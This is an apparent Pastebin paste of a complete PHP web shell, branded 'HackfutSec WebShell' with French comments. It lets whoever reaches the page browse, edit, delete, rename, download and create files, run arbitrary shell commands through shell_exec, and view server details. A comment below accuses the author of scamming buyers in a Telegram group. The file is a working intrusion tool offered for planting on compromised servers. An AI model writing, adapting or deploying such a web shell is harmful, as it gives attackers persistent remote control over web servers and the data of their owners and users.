hackfut

webshell

Apr 13th, 2025
86
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 11.30 KB | Cybersecurity | 0 0
  1. <?php
  2. // Configuration et initialisation
  3. define('ROOT_DIR', realpath(__DIR__)); // Définir le répertoire racine du projet
  4. $current_dir = ROOT_DIR; // Initialisation du répertoire actuel
  5.  
  6. // Fonction de validation du répertoire
  7. function validateDirectory($dir) {
  8.     $realpath = realpath($dir);
  9.     if ($realpath && strpos($realpath, ROOT_DIR) === 0) { // Vérifier si le chemin est sous le répertoire racine
  10.         return $realpath;
  11.     }
  12.     return ROOT_DIR;
  13. }
  14.  
  15. // Gérer le répertoire courant à partir des paramètres GET
  16. if (isset($_GET['dir'])) {
  17.     $current_dir = validateDirectory($_GET['dir']);
  18. }
  19.  
  20. // Vérifier si le répertoire existe
  21. if (!is_dir($current_dir)) {
  22.     $current_dir = ROOT_DIR; // Retourner au répertoire racine si le répertoire demandé est invalide
  23. }
  24.  
  25. // Liste les fichiers et dossiers d'un répertoire
  26. function listDirectory($dir)
  27. {
  28.     $files = scandir($dir);
  29.     $directories = [];
  30.     $regular_files = [];
  31.  
  32.     foreach ($files as $file) {
  33.         if ($file != "." && $file != "..") {
  34.             $file_path = $dir . DIRECTORY_SEPARATOR . $file;
  35.             if (is_dir($file_path)) {
  36.                 $directories[] = $file;
  37.             } else {
  38.                 $regular_files[] = $file;
  39.             }
  40.         }
  41.     }
  42.  
  43.     // Affichage des dossiers
  44.     foreach ($directories as $directory) {
  45.         echo '<tr>';
  46.         echo '<td><a href="?dir=' . urlencode($dir . DIRECTORY_SEPARATOR . $directory) . '">📁 ' . htmlspecialchars($directory) . '</a></td>';
  47.         echo '<td>Folder</td>';
  48.         echo '<td>' . getFilePermissions($dir . DIRECTORY_SEPARATOR . $directory) . '</td>'; // Permissions du dossier
  49.         echo '<td>' . getFileActions($dir, $directory) . '</td>';
  50.         echo '</tr>';
  51.     }
  52.  
  53.     // Affichage des fichiers
  54.     foreach ($regular_files as $file) {
  55.         echo '<tr>';
  56.         echo '<td>' . htmlspecialchars($file) . '</td>';
  57.         echo '<td>' . formatFileSize($dir . DIRECTORY_SEPARATOR . $file) . '</td>';
  58.         echo '<td>' . getFilePermissions($dir . DIRECTORY_SEPARATOR . $file) . '</td>'; // Permissions du fichier
  59.         echo '<td>' . getFileActions($dir, $file) . '</td>';
  60.         echo '</tr>';
  61.     }
  62. }
  63.  
  64. // Fonction pour obtenir les permissions d'un fichier/dossier
  65. function getFilePermissions($file)
  66. {
  67.     if (is_file($file) || is_dir($file)) {
  68.         // Obtenez les permissions en format numérique
  69.         $permissions = fileperms($file);
  70.        
  71.         // Formater les permissions en "rwxr-xr-x"
  72.         $info = '';
  73.         $info .= ($permissions & 0x0100) ? 'r' : '-'; // Propriétaire, Lecture
  74.         $info .= ($permissions & 0x0080) ? 'w' : '-'; // Propriétaire, Écriture
  75.         $info .= ($permissions & 0x0040) ? 'x' : '-'; // Propriétaire, Exécution
  76.         $info .= ($permissions & 0x0020) ? 'r' : '-'; // Groupe, Lecture
  77.         $info .= ($permissions & 0x0010) ? 'w' : '-'; // Groupe, Écriture
  78.         $info .= ($permissions & 0x0008) ? 'x' : '-'; // Groupe, Exécution
  79.         $info .= ($permissions & 0x0004) ? 'r' : '-'; // Autres, Lecture
  80.         $info .= ($permissions & 0x0002) ? 'w' : '-'; // Autres, Écriture
  81.         $info .= ($permissions & 0x0001) ? 'x' : '-'; // Autres, Exécution
  82.  
  83.         return $info;
  84.     }
  85.     return 'N/A';
  86. }
  87.  
  88. // Fonction pour formater la taille des fichiers
  89. function formatFileSize($file)
  90. {
  91.     if (is_file($file)) {
  92.         $size = filesize($file);
  93.         if ($size >= 1048576) {
  94.             return round($size / 1048576, 2) . ' MB';
  95.         } elseif ($size >= 1024) {
  96.             return round($size / 1024, 2) . ' KB';
  97.         }
  98.         return $size . ' bytes';
  99.     }
  100.     return 'N/A';
  101. }
  102.  
  103. // Générer les actions pour chaque fichier ou dossier
  104. function getFileActions($dir, $file)
  105. {
  106.     $url_dir = urlencode($dir);
  107.     $file_url = urlencode($file);
  108.  
  109.     $actions = '<a href="?dir=' . $url_dir . '&edit=' . $file_url . '">Edit</a> | ';
  110.     $actions .= '<a href="?dir=' . $url_dir . '&delete=' . $file_url . '">Delete</a> | ';
  111.     $actions .= '<a href="?dir=' . $url_dir . '&rename=' . $file_url . '">Rename</a> | ';
  112.     $actions .= '<a href="?dir=' . $url_dir . '&download=' . $file_url . '">Download</a>';
  113.     return $actions;
  114. }
  115.  
  116. // Supprimer un fichier
  117. if (isset($_GET['delete'])) {
  118.     $file_to_delete = $current_dir . DIRECTORY_SEPARATOR . basename($_GET['delete']);
  119.     if (is_file($file_to_delete)) {
  120.         unlink($file_to_delete);
  121.     }
  122.     header("Location: ?dir=" . urlencode($current_dir));
  123.     exit;
  124. }
  125.  
  126. // Télécharger un fichier
  127. if (isset($_GET['download'])) {
  128.     $file_to_download = $current_dir . DIRECTORY_SEPARATOR . basename($_GET['download']);
  129.     if (is_file($file_to_download)) {
  130.         header('Content-Description: File Transfer');
  131.         header('Content-Type: application/octet-stream');
  132.         header('Content-Disposition: attachment; filename="' . basename($file_to_download) . '"');
  133.         header('Content-Length: ' . filesize($file_to_download));
  134.         readfile($file_to_download);
  135.         exit;
  136.     }
  137. }
  138.  
  139. // Renommer un fichier
  140. if (isset($_POST['rename_file'])) {
  141.     $old_name = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['old_name']);
  142.     $new_name = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['new_name']);
  143.     if (is_file($old_name)) {
  144.         rename($old_name, $new_name);
  145.     }
  146.     header("Location: ?dir=" . urlencode($current_dir));
  147.     exit;
  148. }
  149.  
  150. // Modifier un fichier
  151. if (isset($_POST['save_file'])) {
  152.     $file_to_edit = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['file_name']);
  153.     if (is_file($file_to_edit)) {
  154.         file_put_contents($file_to_edit, $_POST['file_content']);
  155.     }
  156.     header("Location: ?dir=" . urlencode($current_dir));
  157.     exit;
  158. }
  159.  
  160. // Créer un fichier vide
  161. if (isset($_POST['create_file'])) {
  162.     $new_file_name = basename($_POST['new_file_name']);
  163.     $new_file_path = $current_dir . DIRECTORY_SEPARATOR . $new_file_name;
  164.     file_put_contents($new_file_path, "");
  165.     header("Location: ?dir=" . urlencode($current_dir));
  166.     exit;
  167. }
  168.  
  169. // Exécuter une commande
  170. if (isset($_POST['command'])) {
  171.     $command = escapeshellcmd($_POST['command']);
  172.     $command_output = shell_exec($command);
  173. }
  174.  
  175. // Informations serveur
  176. $server_info = [
  177.     'Système d\'exploitation' => PHP_OS,
  178.     'Version PHP' => phpversion(),
  179.     'Serveur web' => $_SERVER['SERVER_SOFTWARE'],
  180.     'Répertoire racine' => ROOT_DIR,
  181.     'Répertoire actuel' => $current_dir,
  182.     'Nom du serveur' => gethostname()
  183. ];
  184. ?>
  185.  
  186. <!DOCTYPE html>
  187. <html lang="fr">
  188. <head>
  189.     <meta charset="UTF-8">
  190.     <meta name="viewport" content="width=device-width, initial-scale=1.0">
  191.     <title>Dark File Manager</title>
  192.     <style>
  193.         body {
  194.             background-color: #121212;
  195.             color: #E0E0E0;
  196.             font-family: Arial, sans-serif;
  197.             background: url(https://i.postimg.cc/6pRGY8Fh/1561217.jpg) no-repeat;
  198.             min-height: 500px;
  199.             background-position: center;
  200.             background-size: 100%;
  201.             font-weight: bold;
  202.             font-family: cursive;
  203.             text-shadow: 0 1px 5px;
  204.         }
  205.         h1 {
  206.             color: #BB86FC;
  207.             text-align: center;
  208.             background: black;
  209.             color: greenyellow;
  210.             font-weight: bold;
  211.             font-family: cursive;
  212.             text-shadow: 0 1px 5px;
  213.         }
  214.         table {
  215.             width: 100%;
  216.             border-collapse: collapse;
  217.             margin-top: 20px;
  218.             background-color: #03DAC6;
  219.             color: rgb(190, 175, 175);
  220.             font-size: 15px;
  221.             font-weight: bold;
  222.             font-family: cursive;
  223.             text-shadow: 0 1px 5px;
  224.         }
  225.         th, td {
  226.             padding: 12px;
  227.             text-align: left;
  228.             border-radius: 15px;
  229.         }
  230.         th {
  231.             background-color: #333;
  232.             color: #BB86FC;
  233.         }
  234.         tr:nth-child(even) {
  235.             background-color: #222;
  236.         }
  237.         tr:nth-child(odd) {
  238.             background-color: #121212;
  239.         }
  240.         a {
  241.             color: #03DAC6;
  242.             font-weight: bold;
  243.             font-family: cursive;
  244.             text-decoration: none;
  245.         }
  246.         a:hover {
  247.             color: #BB86FC;
  248.         }
  249.         button {
  250.             background-color: #03DAC6;
  251.             color: #121212;
  252.             border: none;
  253.             padding: 10px 20px;
  254.             cursor: pointer;
  255.             background-color: grey;
  256.             border-radius: 10px;
  257.             font-size: 15px;
  258.         }
  259.         button:hover {
  260.             background-color: #BB86FC;
  261.             color: black;
  262.         }
  263.         input[type="file"], input[type="text"] {
  264.             color: #E0E0E0;
  265.             background-color: #222;
  266.             border: 1px solid #BB86FC;
  267.             padding: 10px;
  268.         }
  269.         .form-container {
  270.             display: flex;
  271.             justify-content: space-between;
  272.             margin-bottom: 20px;
  273.         }
  274.     </style>
  275. </head>
  276. <body>
  277.     <h1>HackfutSec WebShell</h1>
  278.  
  279.     <p><h5>Répertoire actuel:</h5> <a href="?dir=<?php echo urlencode(dirname($current_dir)); ?>" style="color: #03DAC6;"><?php echo htmlspecialchars($current_dir); ?></a></p>
  280.  
  281.     <div class="form-container">
  282.         <form method="post" enctype="multipart/form-data">
  283.             <input type="file" name="file" required>
  284.             <button type="submit" name="upload">Télécharger</button>
  285.         </form>
  286.         <form method="post">
  287.             <input type="text" name="new_file_name" placeholder="Nom du fichier" required>
  288.             <br>
  289.             <button type="submit" name="create_file">Créer un fichier</button>
  290.         </form>
  291.     </div>
  292.  
  293.     <table>
  294.         <thead>
  295.             <tr>
  296.                 <th>Nom du fichier</th>
  297.                 <th>Taille</th>
  298.                 <th>Permissions</th>
  299.                 <th>Actions</th>
  300.             </tr>
  301.         </thead>
  302.         <tbody>
  303.             <?php listDirectory($current_dir); ?>
  304.         </tbody>
  305.     </table>
  306.  
  307.     <!-- Formulaire de renommage -->
  308.     <?php if (isset($_GET['rename'])): ?>
  309.     <form method="post">
  310.         <input type="hidden" name="old_name" value="<?php echo htmlspecialchars($_GET['rename']); ?>">
  311.         <input type="text" name="new_name" placeholder="Nouveau nom" required>
  312.         <button type="submit" name="rename_file">Renommer</button>
  313.     </form>
  314.     <?php endif; ?>
  315.  
  316.     <!-- Formulaire de modification -->
  317.     <?php if (isset($_GET['edit'])): ?>
  318.     <form method="post">
  319.         <center>
  320.             <input type="hidden" name="file_name" value="<?php echo htmlspecialchars($_GET['edit']); ?>">
  321.             <textarea name="file_content" required style="margin-top: 10px; width: 918px; height: 492px;"><?php echo htmlspecialchars(file_get_contents($current_dir . DIRECTORY_SEPARATOR . $_GET['edit'])); ?></textarea>
  322.             <br>
  323.             <button type="submit" name="save_file">Sauvegarder</button>
  324.         </center>
  325.     </form>
  326.     <?php endif; ?>
  327.  
  328.     <!-- Exécution de commande -->
  329.     <form method="post" style="margin-top: 20px">
  330.         <input type="text" name="command" placeholder="Commande à exécuter" required>
  331.         <button type="submit">Exécuter la commande</button>
  332.     </form>
  333.  
  334.     <h2>Informations Serveur</h2>
  335.     <pre><?php print_r($server_info); ?></pre>
  336. </body>
  337. </html>
  338.  
Comments
  • ogbertal007
    9 days
    # text 0.16 KB | 0 0
    1. ⚠️ @H4ckfutS3c is a scammer. The last two payments shown in the Telegram group were mine. After the final payment, he blocked me and removed me from the group.
Add Comment
Please, Sign In to add comment